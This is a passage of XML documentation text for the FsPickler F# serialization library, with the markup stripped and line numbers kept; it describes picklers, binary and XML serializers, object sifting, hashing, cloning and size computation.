1055 | Total number of serialized objects
1056 |
1057 |
1058 |
1059 |
1060 | Identifies this serialization session as a hash computation
1061 |
1062 |
1063 |
1064 |
1065 | Serialization format provider
1066 |
1067 |
1068 |
1069 |
1070 | Do not allow subtype resolution when serializing classes
1071 |
1072 |
1073 |
1074 |
1075 | Set containing the id's of all objects identified as cyclic
1076 |
1077 |
1078 |
1079 |
1080 | Resets the serialization state.
1081 |
1082 |
1083 |
1084 |
1085 | Gets an object id which is unique by reference
1086 |
1087 |
1088 |
1089 |
1090 | Contains all state related to object serializations
1091 |
1092 |
1093 |
1094 |
1095 | Attempt to generate a pickler instance for given type.
1096 |
1097 |
1098 |
1099 |
1100 | Attempt to generate a pickler instance for given type.
1101 |
1102 |
1103 |
1104 |
1105 | Identifies if instances of given type can be serialized.
1106 |
1107 |
1108 |
1109 |
1110 | Identifies if instances of given type can be serialized.
1111 |
1112 |
1113 |
1114 |
1115 | Provides access to automated pickler generation facility.
1116 |
1117 |
1118 |
1119 |
1120 | Predicate deciding whether provided object is to be sifted from serialization.
1121 |
1122 | Pickler used for traversal. Used for metadata reference.
1123 | Object id for current value.
1124 | Value that is being visited.
1125 |
1126 |
1127 |
1128 | Object graph sifting predicate.
1129 |
1130 |
1131 |
1132 |
1133 | Visit value inside an object graph that matches given type.
1134 |
1135 | Pickler used for traversal. Used for metadata reference.
1136 | Value that is being visited.
1137 |
1138 |
1139 |
1140 | Specialized object visitor abstraction.
1141 |
1142 |
1143 |
1144 |
1145 | Visit provided value inside an object graph.
1146 |
1147 | Pickler used for traversal. Used for metadata reference.
1148 | Value that is being visited.
1149 |
1150 |
1151 |
1152 | Object graph visitor abstraction.
1153 |
1154 |
1155 |
1156 |
1157 | Serializes a value with provided tag to the underlying writer state.
1158 |
1159 | Object serialization state.
1160 | String identifier for value.
1161 | Value to be serialized.
1162 |
1163 |
1164 |
1165 | Deserializes a value with provided tag from reader state.
1166 |
1167 | Object deserialization state.
1168 | String identifier for value.
1169 |
1170 |
1171 |
1172 | Clones a value using the underlying cloning state.
1173 |
1174 | Object cloning state.
1175 | Value to be cloned.
1176 |
1177 |
1178 |
1179 | Accepts visitor for traversal of child nodes of given value.
1180 |
1181 | Visitor state.
1182 | Value to be visited.
1183 |
1184 |
1185 |
1186 | Defines serialization rules for given type parameter.
1187 |
1188 |
1189 |
1190 |
1191 | Specifies if this pickler can be applied to proper subtypes.
1192 |
1193 |
1194 |
1195 |
1196 | Type of values serialized by this pickler.
1197 |
1198 |
1199 |
1200 |
1201 | Pickler generation metadata.
1202 |
1203 |
1204 |
1205 |
1206 | Pickler type classification
1207 |
1208 |
1209 |
1210 |
1211 | Specifies if instances of this type can be cyclic objects.
1212 |
1213 |
1214 |
1215 |
1216 | Specifies if objects graphs of this type can contain open hierarchies.
1217 |
1218 |
1219 |
1220 |
1221 | Specifies if instances of this type are of fixed size.
1222 |
1223 |
1224 |
1225 |
1226 | Specifies that pickler provides logic only for object cloning/visiting/hashing
1227 | and that type is not otherwise serializable.
1228 |
1229 |
1230 |
1231 |
1232 | Specifies if pickled objects are to be cached by reference.
1233 |
1234 |
1235 |
1236 |
1237 | The underlying type that this pickler implements.
1238 |
1239 |
1240 |
1241 |
1242 | Base pickler type.
1243 |
1244 |
1245 |
1246 |
1247 | Creates an empty composite pickler for given type.
1248 |
1249 |
1250 |
1251 |
1252 | Primary constructor for definining a materialized composite pickler
1253 |
1254 | deserialization lambda.
1255 | serialization lambda.
1256 | pickler generation metadata.
1257 | enable caching by reference for serialized instances.
1258 | allow casting of pickler implementation to proper subtypes.
1259 | skip header serialization of instances.
1260 | pickle using serialization/deserialization lambdas directly.
1261 | do not apply visitor to instances if specified.
1262 |
1263 |
1264 |
1265 | Initializes a CompositePickler by copying fields from a source pickler
1266 |
1267 |
1268 |
1269 |
1270 |
1271 |
1272 | Pickler initialization code
1273 |
1274 |
1275 |
1276 |
1277 | Uninitialized pickler constructor
1278 |
1279 |
1280 |
1281 |
1282 | Primary constructor for definining a materialized composite pickler
1283 |
1284 | deserialization lambda.
1285 | serialization lambda.
1286 | pickler generation metadata.
1287 | enable caching by reference for serialized instances.
1288 | allow casting of pickler implementation to proper subtypes.
1289 | skip header serialization of instances.
1290 | pickle using serialization/deserialization lambdas directly.
1291 | do not apply visitor to instances if specified.
1292 |
1293 |
1294 |
1295 | Delegate Pickler combinator
1296 |
1297 |
1298 |
1299 |
1300 | Nullable Pickler combinator
1301 |
1302 |
1303 |
1304 |
1305 | Enum types combinator
1306 |
1307 |
1308 |
1309 |
1310 | abstract type pickler factory
1311 |
1312 |
1313 |
1314 |
1315 | List of all individual types declared serializable
1316 |
1317 |
1318 |
1319 |
1320 | List of all user-specified custom serialization predicates
1321 |
1322 |
1323 |
1324 |
1325 | List of all individual pickler factory types
1326 |
1327 |
1328 |
1329 |
1330 | Gets whether isntance is alread being used for pickler generation.
1331 | In that case, any attempt to register new types will result in an InvalidOperationException
1332 |
1333 |
1334 |
1335 |
1336 | Registers a collections of supplied custom pickelrs
1337 |
1338 |
1339 |
1340 |
1341 | Registers a supplied custom pickler
1342 |
1343 |
1344 |
1345 |
1346 | Registers a user-specified pickler factory
1347 |
1348 |
1349 |
1350 |
1351 | Registers the specifed type as if carrying the .IsSerializable flag
1352 |
1353 |
1354 |
1355 |
1356 | Appends a list of types that will be treated by the pickler generator as if carrying the .IsSerializable flag
1357 |
1358 |
1359 |
1360 |
1361 | Appends a predicate used to determine whether a specific type should be treated as if carrying the .IsSerializable flag
1362 |
1363 |
1364 |
1365 |
1366 | Type for appending user-supplied pickler registrations
1367 |
1368 |
1369 |
1370 |
1371 | A pickler registry with no items
1372 |
1373 |
1374 |
1375 |
1376 | Declares a custom pickler factor for the given type
1377 |
1378 |
1379 |
1380 |
1381 | Declares a type serializable, but uses default pickler generators for it
1382 |
1383 |
1384 |
1385 |
1386 | Pickler not registered for particular type
1387 |
1388 |
1389 |
1390 |
1391 | Pickler registration for particular type
1392 |
1393 |
1394 |
1395 |
1396 | Look up pickler registration for particular type
1397 |
1398 |
1399 |
1400 |
1401 | Abstraction for specifying user-supplied custom picklers
1402 |
1403 |
1404 |
1405 |
1406 | SerializationInfo-based pickler combinator
1407 |
1408 |
1409 |
1410 |
1411 | Defines a pickler that forces cloneability/hashability on nonserializable types.
1412 |
1413 |
1414 |
1415 |
1416 | Gets the singleton PicklerCache instance with the default pickler generation semantics
1417 |
1418 |
1419 |
1420 |
1421 | Decides if given type is serializable by the pickler cache
1422 |
1423 |
1424 |
1425 |
1426 | Decides if given type is serializable by the pickler cache
1427 |
1428 |
1429 |
1430 |
1431 | Auto generates a pickler for given type
1432 |
1433 |
1434 |
1435 |
1436 | Auto generates a pickler for given type variable
1437 |
1438 |
1439 |
1440 |
1441 | Creates a custom pickler cache based off a supplied pickler registry.
1442 |
1443 |
1444 |
1445 |
1446 |
1447 | Defines a cache of generated picklers for every type being used by a serializer.
1448 | Picklers are being generated recursively and on-demand. Note that this is an extremely
1449 | heavyweight object both in terms of size and cost of pickler generation. Most applications
1450 | should just make use of the `PicklerCache.Instance` singleton. Otherwise extreme care must
1451 | be exercised so that multiple instances of this cache are not created.
1452 |
1453 |
1454 |
1455 |
1456 | Factory methods for the binary serialization format.
1457 |
1458 |
1459 |
1460 |
1461 | Binary format deserializer.
1462 |
1463 |
1464 |
1465 |
1466 | Binary format serializer.
1467 |
1468 |
1469 |
1470 |
1471 | Factory methods for the Xml serialization format.
1472 |
1473 |
1474 |
1475 |
1476 | Xml format deserializer.
1477 |
1478 |
1479 |
1480 |
1481 | Xml format serializer.
1482 |
1483 |
1484 |
1485 |
1486 | Gets the total number of root-level objects that were appended to the counter.
1487 |
1488 |
1489 |
1490 |
1491 | Gets accumulated object size in bytes
1492 |
1493 |
1494 |
1495 |
1496 | Resets the serialization cache, without reseting size counters.
1497 |
1498 |
1499 |
1500 |
1501 | Resets the size counter state.
1502 |
1503 |
1504 |
1505 |
1506 | Appends a value to the size count.
1507 |
1508 |
1509 |
1510 |
1511 | Computes the accumulated size for a collection of user-provided serializable objects
1512 |
1513 |
1514 |
1515 |
1516 | Declares that FsPickler should make no attempt of its own to load Assemblies
1517 | that are specified in the serialization format. Will result in a deserialization
1518 | exception if required assembly is missing from the current AppDomain. Defaults to false.
1519 |
1520 |
1521 |
1522 |
1523 | Declares that dynamic subtype resolution should be disabled during serialization.
1524 | This explicitly prohibits serialization/deserialization of any objects whose type
1525 | is specified in the serialization payload. Examples of such types are System.Object,
1526 | F# functions and delegates. Defaults to false.
1527 |
1528 |
1529 |
1530 |
1531 | Declares that dynamic subtype resolution should be disabled during serialization.
1532 | This explicitly prohibits serialization/deserialization of any objects whose type
1533 | is specified in the serialization payload. Examples of such types are System.Object,
1534 | F# functions and delegates. Defaults to false.
1535 |
1536 |
1537 |
1538 |
1539 | Declares that FsPickler should make no attempt of its own to load Assemblies
1540 | that are specified in the serialization format. Will result in a deserialization
1541 | exception if required assembly is missing from the current AppDomain. Defaults to false.
1542 |
1543 |
1544 |
1545 |
1546 | Description of the pickle format used by the serializer.
1547 |
1548 |
1549 |
1550 |
1551 | Declares that dynamic subtype resolution should be disabled during serialization.
1552 | This explicitly prohibits serialization/deserialization of any objects whose type
1553 | is specified in the serialization payload. Examples of such types are System.Object,
1554 | F# functions and delegates. Defaults to false.
1555 |
1556 |
1557 |
1558 |
1559 | Declares that FsPickler should make no attempt of its own to load Assemblies
1560 | that are specified in the serialization format. Will result in a deserialization
1561 | exception if required assembly is missing from the current AppDomain. Defaults to false.
1562 |
1563 |
1564 |
1565 |
1566 | Unpickle value to given type.
1567 |
1568 | Byte array to unpickler.
1569 | Pickler used for value serialization. Its type should be compatible with that of the supplied pickle.
1570 | Streaming context for deserialization state. Defaults to the empty streaming context.
1571 | Text encoding used by the deserializer.
1572 |
1573 |
1574 |
1575 | Unpickles a sifted value, filling in sifted holes from the serialized using supplied objects.
1576 |
1577 | Pickle to deserialize.
1578 | Object-id pairs used for filling sifted holes in serialization.
1579 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1580 | Streaming context for serialization state. Defaults to the empty streaming context.
1581 | Text encoding used by the serializer.
1582 |
1583 |
1584 |
1585 | Unpickles value using given pickler.
1586 |
1587 | Pickle to deserialize.
1588 | Pickler used for element serialization. Defaults to auto-generated pickler.
1589 | Streaming context for deserialization state. Defaults to the empty streaming context.
1590 | Text encoding used by the deserializer.
1591 |
1592 |
1593 | Serialize untyped object to the underlying stream with provided pickler.
1594 | Target write stream.
1595 | Value to be serialized.
1596 | Untyped pickler used for serialization. Its type should be compatible with that of the supplied object.
1597 | Streaming context for serialization state. Defaults to the empty streaming context.
1598 | Text encoding used by the serializer.
1599 | Leave underlying stream open when finished. Defaults to false.
1600 |
1601 |
1602 |
1603 | Serializes a value to stream, excluding objects mandated by the provided IObjectSifter instance.
1604 | Values excluded from serialization will be returned tagged by their ids.
1605 |
1606 | Target write stream.
1607 | Value to be serialized.
1608 | User supplied sifter implementation. Used to specify which nodes in the object graph are to be excluded from serialization.
1609 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1610 | Streaming context for serialization state. Defaults to the empty streaming context.
1611 | Text encoding used by the serializer.
1612 | Leave underlying stream open when finished. Defaults to false.
1613 | Sifted values along with their graph ids.
1614 |
1615 |
1616 | Serialize an untyped sequence of objects to the underlying stream.
1617 | element type used in sequence.
1618 | Target write stream.
1619 | Input sequence to be evaluated and serialized.
1620 | Pickler used for element serialization. Its type should be compatible with that of the supplied sequence.
1621 | Streaming context for serialization state. Defaults to the empty streaming context.
1622 | Text encoding used by the serializer.
1623 | Leave underlying stream open when finished. Defaults to false.
1624 | Number of elements written to the stream.
1625 |
1626 |
1627 | Serialize a sequence of objects to the underlying stream.
1628 | Target write stream.
1629 | Input sequence to be evaluated and serialized.
1630 | Pickler used for serialization. Defaults to auto-generated pickler.
1631 | Streaming context for serialization state. Defaults to the empty streaming context.
1632 | Text encoding used by the serializer.
1633 | Leave underlying stream open when finished. Defaults to false.
1634 | Number of elements written to the stream.
1635 |
1636 |
1637 | Serialize value to the underlying stream.
1638 | Target write stream.
1639 | Value to be serialized.
1640 | Pickler used for serialization. Defaults to auto-generated pickler.
1641 | Streaming context for serialization state. Defaults to the empty streaming context.
1642 | Text encoding used by the serializer.
1643 | Leave underlying stream open when finished. Defaults to false.
1644 |
1645 |
1646 |
1647 | Pickles given value to byte array.
1648 |
1649 | Value to pickle.
1650 | Pickler used for value serialization. Its type should be compatible with that of the supplied value.
1651 | Streaming context for serialization state. Defaults to the empty streaming context.
1652 | Text encoding used by the serializer.
1653 |
1654 |
1655 |
1656 | Pickles value to bytes, excluding objects mandated by the provided IObjectSifter instance.
1657 | Values excluded from serialization will be returned tagged by their ids.
1658 |
1659 | Value to be serialized.
1660 | User supplied sifter implementation. Used to specify which nodes in the object graph are to be excluded from serialization.
1661 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1662 | Streaming context for serialization state. Defaults to the empty streaming context.
1663 | Text encoding used by the serializer.
1664 | Pickled value along with sifted values along with their graph ids.
1665 |
1666 |
1667 |
1668 | Pickles given value to byte array.
1669 |
1670 | Value to pickle.
1671 | Pickler used for element serialization. Defaults to auto-generated pickler.
1672 | Streaming context for serialization state. Defaults to the empty streaming context.
1673 | Text encoding used by the serializer.
1674 |
1675 |
1676 | Deserialize untyped object from the underlying stream with provided pickler.
1677 | Source read stream.
1678 | Pickler used for deserialization. Its type should be compatible with that of the supplied object.
1679 | Streaming context for deserialization state. Defaults to the empty streaming context.
1680 | Text encoding used by the deserializer.
1681 | Leave underlying stream open when finished. Defaults to false.
1682 |
1683 |
1684 |
1685 | Deserializes a sifted value from stream, filling in sifted holes from the serialized using supplied objects.
1686 |
1687 | Source read stream.
1688 | Object-id pairs used for filling sifted holes in serialization.s
1689 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1690 | Streaming context for serialization state. Defaults to the empty streaming context.
1691 | Text encoding used by the serializer.
1692 | Leave underlying stream open when finished. Defaults to false.
1693 |
1694 |
1695 | Lazily deserialize an untyped sequence of objects from the underlying stream.
1696 | source stream.
1697 | Pickler used for element deserialization. Its type should be compatible with that of the supplied sequence.
1698 | Streaming context for deserialization state. Defaults to the empty streaming context.
1699 | Text encoding used by the deserializer.
1700 | Leave underlying stream open when finished. Defaults to false.
1701 | An IEnumerable that lazily consumes elements from the stream.
1702 |
1703 |
1704 | Lazily deserialize a sequence of objects from the underlying stream.
1705 | Source read stream.
1706 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1707 | Streaming context for deserialization state. Defaults to the empty streaming context.
1708 | Text encoding used by the deserializer.
1709 | Leave underlying stream open when finished. Defaults to false.
1710 | An IEnumerable that lazily consumes elements from the stream.
1711 |
1712 |
1713 | Deserialize value of given type from the underlying stream.
1714 | Source read stream.
1715 | Pickler used for deserialization. Defaults to auto-generated pickler.
1716 | Streaming context for deserialization state. Defaults to the empty streaming context.
1717 | Text encoding used by the deserializer.
1718 | Leave underlying stream open when finished. Defaults to false.
1719 |
1720 |
1721 |
1722 | Creates a state object used for computing accumulated sizes for multiple objects.
1723 |
1724 | Text encoding used by the serializer.
1725 | Specifies the serialized object interval after which serialization state will be reset. Defaults to no interval.
1726 |
1727 |
1728 | Compute size in bytes for given input.
1729 | input value.
1730 | Pickler to be used for size computation. Defaults to auto-generated pickler.
1731 |
1732 |
1733 | Compute size and hashcode for given input.
1734 | input value.
1735 | the hashing algorithm to be used. MurMur3 by default.
1736 |
1737 |
1738 |
1739 | An abstract class containg the basic serialization API.
1740 |
1741 |
1742 |
1743 |
1744 | Unpickle using provided pickler.
1745 |
1746 | String to unpickle
1747 | Untyped pickler used for deserialization. Its type should be compatible with that of the pickle.
1748 | streaming context.
1749 |
1750 |
1751 |
1752 | Unpickles a sifted value, filling in sifted holes from the serialized using supplied objects.
1753 |
1754 | Pickle to deserialize.
1755 | Object-id pairs used for filling sifted holes in serialization.
1756 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1757 | Streaming context for serialization state. Defaults to the empty streaming context.
1758 |
1759 |
1760 |
1761 | Unpickles value from string.
1762 |
1763 | Input pickle.
1764 | Pickler used for deserialization. Defaults to auto-generated pickler.
1765 | Streaming context for deserialization state. Defaults to the empty streaming context.
1766 |
1767 |
1768 | Serialize object of given type to the underlying stream.
1769 | Target text writer.
1770 | Value to be serialized.
1771 | Untyped pickler used for serialization. Its type should be compatible with that of the supplied object.
1772 | Streaming context for serialization state. Defaults to the empty streaming context.
1773 | encoding passed to the binary writer.
1774 | Leave underlying stream open when finished. Defaults to false.
1775 |
1776 |
1777 |
1778 | Serializes a value to text writer, excluding values mandated by the provided IObjectSifter instance.
1779 | Values excluded from serialization will be returned tagged by their ids.
1780 |
1781 | Target write stream.
1782 | Value to be serialized.
1783 | User supplied sifter implementation. Used to specify which nodes in the object graph are to be excluded from serialization.
1784 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1785 | Streaming context for serialization state. Defaults to the empty streaming context.
1786 | Leave underlying stream open when finished. Defaults to false.
1787 | Sifted values along with their graph ids.
1788 |
1789 |
1790 | Evaluate and serialize a sequence of objects to the underlying stream.
1791 | Target text writer.
1792 | Input sequence to be evaluated and serialized.
1793 | Untyped pickler used for element serialization. Its type should be compatible with that of the supplied sequence elements.
1794 | Streaming context for serialization state. Defaults to the empty streaming context.
1795 | Leave underlying stream open when finished. Defaults to false.
1796 | Number of elements written to the stream.
1797 |
1798 |
1799 | Evaluates and serializes a sequence of objects to the underlying stream.
1800 | Target text writer.
1801 | Input sequence to be evaluated and serialized.
1802 | Pickler used for serialization. Defaults to auto-generated pickler.
1803 | Streaming context for serialization state. Defaults to the empty streaming context.
1804 | Leave underlying stream open when finished. Defaults to false.
1805 | Number of elements written to the stream.
1806 |
1807 |
1808 | Serialize value to the underlying writer.
1809 | Target text writer.
1810 | Value to be serialized.
1811 | Pickler used for serialization. Defaults to auto-generated pickler.
1812 | Streaming context for serialization state. Defaults to the empty streaming context.
1813 | Leave underlying text writer open when finished. Defaults to false.
1814 |
1815 |
1816 |
1817 | Pickles given value to string using provided pickler.
1818 |
1819 | Value to pickle.
1820 | Untyped pickler used for serialization. Its type should be compatible with that of the supplied object.
1821 | Streaming context for serialization state. Defaults to the empty streaming context.
1822 |
1823 |
1824 |
1825 | Pickles value to string, excluding objects mandated by the provided IObjectSifter instance.
1826 | Values excluded from serialization will be returned tagged by their ids.
1827 |
1828 | Value to be serialized.
1829 | User supplied sifter implementation. Used to specify which nodes in the object graph are to be excluded from serialization.
1830 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1831 | Streaming context for serialization state. Defaults to the empty streaming context.
1832 | Pickled value along with sifted values along with their graph ids.
1833 |
1834 |
1835 |
1836 | Pickles given value to string.
1837 |
1838 | Value to pickle.
1839 | Pickler used for serialization. Defaults to auto-generated pickler.
1840 | Streaming context for serialization state. Defaults to the empty streaming context.
1841 |
1842 |
1843 | Deserialize object of given type from the underlying stream.
1844 | Source text reader.
1845 | Untyped pickler used for deserialization. Its type should be compatible with that of the supplied object.
1846 | Streaming context for deserialization state. Defaults to the empty streaming context.
1847 | Leave underlying stream open when finished. Defaults to false.
1848 |
1849 |
1850 |
1851 | Deserializes a sifted value from stream, filling in sifted holes from the serialized using supplied objects.
1852 |
1853 | Source text reader.
1854 | Object-id pairs used for filling sifted holes in serialization.s
1855 | Pickler used for element deserialization. Defaults to auto-generated pickler.
1856 | Streaming context for serialization state. Defaults to the empty streaming context.
1857 | Leave underlying stream open when finished. Defaults to false.
1858 |
1859 |
1860 | Lazily deserialize a sequence of objects from the underlying stream.
1861 | source reader.
1862 | Untyped pickler used for element deserialization. Its type should be compatible with that of the supplied sequence elements.
1863 | Streaming context for deserialization state. Defaults to the empty streaming context.
1864 | Leave underlying stream open when finished. Defaults to false.
1865 | An IEnumerator that lazily consumes elements from the stream.
1866 |
1867 |
1868 | Lazily deserialize a sequence of objects from the underlying stream.
1869 | Source text reader.
1870 | Pickler used for deserialization. Defaults to auto-generated pickler.
1871 | Streaming context for deserialization state. Defaults to the empty streaming context.
1872 | Leave underlying stream open when finished. Defaults to false.
1873 | An IEnumerator that lazily consumes elements from the stream.
1874 |
1875 |
1876 | Deserialize value of given type from the underlying stream.
1877 | source reader.
1878 | Pickler used for serialization. Defaults to auto-generated pickler.
1879 | Streaming context for deserialization state. Defaults to the empty streaming context.
1880 | Leave underlying stream open when finished. Defaults to false.
1881 |
1882 |
1883 |
1884 | An abstract class containing the text-based serialization API.
1885 |
1886 |
1887 |
1888 |
1889 | Gets or sets the ForceLittleEndian setting.
1890 | Uses BinaryWriter rather than Buffer.BlockCopy
1891 | for array serializations but is slower.
1892 |
1893 |
1894 |
1895 |
1896 | Gets or sets the ForceLittleEndian setting.
1897 | Uses BinaryWriter rather than Buffer.BlockCopy
1898 | for array serializations but is slower.
1899 |
1900 |
1901 |
1902 |
1903 | Initializes a new Binary pickler instance.
1904 |
1905 | Force little-endian encoding in primitive arrays but is slower. Defaults to false.
1906 | Define a custom type name converter.
1907 | Specify a custom pickler resolver/cache for serialization. Defaults to the singleton pickler cache.
1908 |
1909 |
1910 |
1911 | Binary pickler instance.
1912 |
1913 |
1914 |
1915 |
1916 | Gets or sets indentation of serialized pickles.
1917 |
1918 |
1919 |
1920 |
1921 | Gets or sets indentation of serialized pickles.
1922 |
1923 |
1924 |
1925 |
1926 | Define a new Xml pickler instance.
1927 |
1928 | Enable indentation of output XML pickles.
1929 | Define a custom type name converter.
1930 | Specify a custom pickler resolver/cache for serialization. Defaults to the singleton pickler cache.
1931 |
1932 |
1933 |
1934 | XML pickler instance.
1935 |
1936 |
1937 |
1938 |
1939 | Visits all reference types that appear in the given object graph.
1940 |
1941 | Visitor implementation.
1942 | Object graph.
1943 | Pickler to be used for traversal. Defaults to auto-generated pickler.
1944 | Streaming context used for cloning. Defaults to null streaming context.
1945 | Object graph traversal order. Defaults to pre-order traversal.
1946 |
1947 |
1948 |
1949 | Unsifts a provided object graph with given values.
1950 |
1951 | Sifted object graph to be unsifted.
1952 | Values to be pushed in sift holes.
1953 | Pickler to be used for traversal. Defaults to auto-generated pickler.
1954 | Streaming context used for cloning. Defaults to null streaming context.
1955 | An unsifted object graph.
1956 |
1957 |
1958 |
1959 | Creates a clone of the provided object graph, sifting objects from the graph as specified by the provided sifter implementation.
1960 | Only reference types can be sifted from a graph.
1961 |
1962 | Value to be sifted.
1963 | Sifting predicate implementation.
1964 | Pickler to be used for traversal. Defaults to auto-generated pickler.
1965 | Streaming context used for cloning. Defaults to null streaming context.
1966 | A sifted wrapper together with all objects that have been sifted.
1967 |
1968 |
1969 |
1970 | Creates a clone of the provided object graph, sifting objects from the graph as specified by the provided sifter implementation.
1971 | Only reference types can be sifted from a graph.
1972 |
1973 | Value to be sifted.
1974 | Sifting predicate implementation.
1975 | Pickler to be used for traversal. Defaults to auto-generated pickler.
1976 | Streaming context used for cloning. Defaults to null streaming context.
1977 | A sifted wrapper together with all objects that have been sifted.
1978 |
1979 |
1980 |
1981 | Decides if given value is serializable object graph without performing an actual serialization.
1982 |
1983 | Graph to be checked.
1984 | Fail on types that are declared cloneable only. Defaults to true.
1985 |
1986 |
1987 |
1988 | Decides if given type is serializable by FsPickler
1989 |
1990 |
1991 |
1992 |
1993 | Decides if given type is serializable by FsPickler
1994 |
1995 |
1996 |
1997 |
1998 | Auto generates a pickler for given type
1999 |
2000 |
2001 |
2002 |
2003 | Auto generates a pickler for given type variable
2004 |
2005 |
2006 |
2007 |
2008 | Uses FsPickler to traverse the object graph, gathering types of objects as it goes.
2009 |
2010 | input object graph.
2011 |
2012 |
2013 |
2014 | Use FsPickler to traverse the object graph, gathering object instances as it goes.
2015 |
2016 | input object graph.
2017 |
2018 |
2019 |
2020 | Traverses the object graph, completing if serializable or raising a serialization exception if not.
2021 |
2022 | Graph to be checked.
2023 | Fail on types that are declared cloneable only. Defaults to true.
2024 |
2025 |
2026 |
2027 | Create a new FsPickler serializer instance that uses the XML format.
2028 |
2029 | optional type name converter implementation.
2030 | Specify a custom pickler resolver/cache for serialization. Defaults to the singleton pickler cache.
2031 |
2032 |
2033 |
2034 | Creates a state object used for computing accumulated sizes for multiple objects.
2035 |
2036 | Text encoding used by the serializer.
2037 | Specifies the serialized object interval after which serialization state will be reset. Defaults to no interval.
2038 |
2039 |
2040 |
2041 | Create a new FsPickler serializer instance that uses the built-in binary format.
2042 |
2043 | Force little-endian encoding in primitive arrays but is slower. Defaults to false.
2044 | optional type name converter implementation.
2045 | Specify a custom pickler resolver/cache for serialization. Defaults to the singleton pickler cache.
2046 |
2047 |
2048 | Compute size in bytes for given input.
2049 | input value.
2050 | Pickler to be used for size computation. Defaults to auto-generated pickler.
2051 |
2052 |
2053 | Compute size and hashcode for given input.
2054 | input value.
2055 | the hashing algorithm to be used. MurMur3 by default.
2056 |
2057 |
2058 |
2059 | Performs an in-memory, deep cloning of provided serializable object graph.
2060 | Cloning is performed on a node-to-node basis and does not make use of intermediate
2061 | serialization buffers.
2062 |
2063 | Value to be cloned.
2064 | Pickler used for cloning. Defaults to auto-generated pickler.
2065 | Streaming context used for cloning. Defaults to null streaming context.
2066 |
2067 |
2068 |
2069 | FsPickler static methods.
2070 |
2071 |
2072 |
2073 |
2074 | Stream implementation that computes object size, discarding any data
2075 |
2076 |
2077 |
2078 |
2079 | IEqualityComparer implementation that follows reference equality
2080 |
2081 |
2082 |
2083 |
2084 | replacement for IDictionary
2085 |
2086 |
2087 |
2088 |
2089 | evaluate, re-raising the exception if failed
2090 |
2091 |
2092 |
2093 |
2094 | Value or exception
2095 |
2096 |
2097 |
2098 |
2099 | thread safe memo operator with parametric support
2100 |
2101 |
2102 |
2103 |
2104 | thread safe memo operator
2105 |
2106 |
2107 |
2108 |
2109 | hashset constructor
2110 |
2111 |
2112 |
2113 |
2114 | Checks that set of enumeration flags has given flag
2115 |
2116 | Flags to be checked.
2117 | Flag to be satisfied.
2118 |
2119 |
2120 |
2121 | a descriptor for local variables or parameters in emitted IL
2122 |
2123 |
2124 |
2125 |
2126 | Emits a dynamic method that is cached based on the type of the delegate and method name
2127 |
2128 |
2129 |
2130 |
2131 | Checks if type is 'recursive' according to above definition
2132 | Note that type must additionally be a reference type for this to be meaningful.
2133 |
2134 |
2135 |
2136 |
2137 | Detect polymorphic recursion patterns
2138 |
2139 |
2140 |
2141 |
2142 | walks up the type hierarchy, gathering all instance members
2143 |
2144 |
2145 |
2146 |
2147 | returns all methods of type `StreamingContext -> unit` and given Attribute
2148 |
2149 |
2150 |
2151 |
2152 | Gets the immediate supertypes of a given type,
2153 | either base type or interfaces implemented
2154 |
2155 |
2156 |
2157 |
2158 | correctly resolves if type is assignable to interface
2159 |
2160 |
2161 |
2162 |
2163 | MurMur3 128-bit hashing algorithm.
2164 | Optimized for 64-bit architectures
2165 |
2166 |
2167 |
2168 |
2169 | 64-bit Fowler-Noll-Vo hashing algorithm
2170 |
2171 |
2172 |
2173 |
2174 | 64-bit Fowler-Noll-Vo hashing algorithm
2175 |
2176 |
2177 |
2178 |
2179 | Hash algorithm identifier
2180 |
2181 |
2182 |
2183 |
2184 | Generates hash based on accumulated stream data.
2185 |
2186 |
2187 |
2188 |
2189 | An abstract byte sink used as a hash generating state machine
2190 |
2191 |
2192 |
2193 |
2194 | Create a hash streaming instance
2195 |
2196 |
2197 |
2198 |
2199 | An immutable factory interface for HashStreams
2200 |
2201 |
2202 |
2203 |
2204 | Hash data
2205 |
2206 |
2207 |
2208 |
2209 | Size of serialized object
2210 |
2211 |
2212 |
2213 |
2214 | Type of hashed object
2215 |
2216 |
2217 |
2218 |
2219 | Hashing algorithm identifier
2220 |
2221 |
2222 |
2223 |
2224 | Hashed object result info
2225 |
2226 |
2227 |
2228 |
2229 | Composes a collection of ITypeNameConverters into one
2230 |
2231 |
2232 |
2233 |
2234 | TypeNameConverter utilities
2235 |
2236 |
2237 |
2238 |
2239 | builds type info enumeration out of reflection info
2240 |
2241 |
2242 |
2243 |
2244 | Contains breakdown information for a MemberInfo instance
2245 | This information can be memoized for performance and
2246 | is sufficient to restructure the instance at deserialization.
2247 |
2248 |
2249 |
2250 |
2251 | lazily deserialize a sequence of elements ; reserved for top-level sequence deserializations only.
2252 |
2253 |
2254 |
2255 |
2256 | serializes a sequence of unknown length to the stream ; returns its eventual length
2257 |
2258 |
2259 |
2260 |
2261 | reads a sequence whose length is known a priori
2262 |
2263 |
2264 |
2265 |
2266 | writes a sequence whose length is known a priori
2267 |
2268 |
2269 |
2270 |
2271 | reads a new object and ensures it is a sequence header
2272 |
2273 |
2274 |
2275 |
2276 | reads a string and pushes to stack
2277 |
2278 |
2279 |
2280 |
2281 | writes a string
2282 |
2283 |
2284 |
2285 |
2286 | wraps call to ISerializable constructor in a dynamic method
2287 |
2288 |
2289 |
2290 |
2291 | emit a call to the 'OnDeserialization' method on given value
2292 |
2293 |
2294 |
2295 |
2296 | emit a call to the 'OnDeserialization' method on given value
2297 |
2298 |
2299 |
2300 |
2301 | calls a predefined collection of serialization methods on given value
2302 |
2303 |
2304 |
2305 |
2306 | push an uninitialized object of type 't' to the stack
2307 |
2308 |
2309 |
2310 |
2311 | deserialize fields, pass to factory method and push to stack
2312 |
2313 |
2314 |
2315 |
2316 | deserialize fields, pass to factory method and push to stack
2317 |
2318 |
2319 |
2320 |
2321 | emits code for accepting visitors for field or property values
2322 |
2323 |
2324 |
2325 |
2326 | emits code for deserializing field or property values
2327 |
2328 |
2329 |
2330 |
2331 | emits code for deserializing field or property values
2332 |
2333 |
2334 |
2335 |
2336 | emits code for serializing field or property values
2337 |
2338 |
2339 |
2340 |
2341 | emit IL that accepts a visitor
